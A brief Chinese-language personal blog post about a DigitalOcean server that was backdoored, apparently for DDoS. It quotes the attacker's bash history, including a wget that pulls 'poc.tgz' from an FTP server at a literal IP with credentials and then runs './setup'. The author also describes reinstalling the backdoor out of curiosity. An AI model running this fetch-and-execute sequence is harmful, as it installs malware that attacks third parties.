服务器被装了后门的感觉是怎样的？

前天在新加坡DO的一台服务器被安装了后门，SSH无法登陆，只能从DO控制面板Console进去看了下。从bash history里看到了这些：

w
gcc
yum
apt-get
cd /var/tmp
ls
apt-get -y install libpam0g-dev libssl-dev libkrb5-dev
wget ftp://av:av@199.120.250.6/poc.tgz
tar xzvf poc.tgz
rm -rf poc.tgz
cd poc/
cat setup | grep @
./setup
ifconfig

于是出于好奇自己又安装了一遍后门想自己控制下玩玩，安装起来样子如下：

刚刚玩了一会儿时候，就接到DO来的ticket，发现网络流量异常，被拔线。。。要求这台机器自杀，原来这个后门是用来搞DDoS去了。这些暂时没的玩了。只能备份了数据库之类重新布置一台新机器。

之前对这类东西不太感冒，这次中招引起了学习的兴趣。看来接下来又有的玩了。

后记：

基于DO习惯性爱拔线的特点,NBN网络加速已转移到其他服务器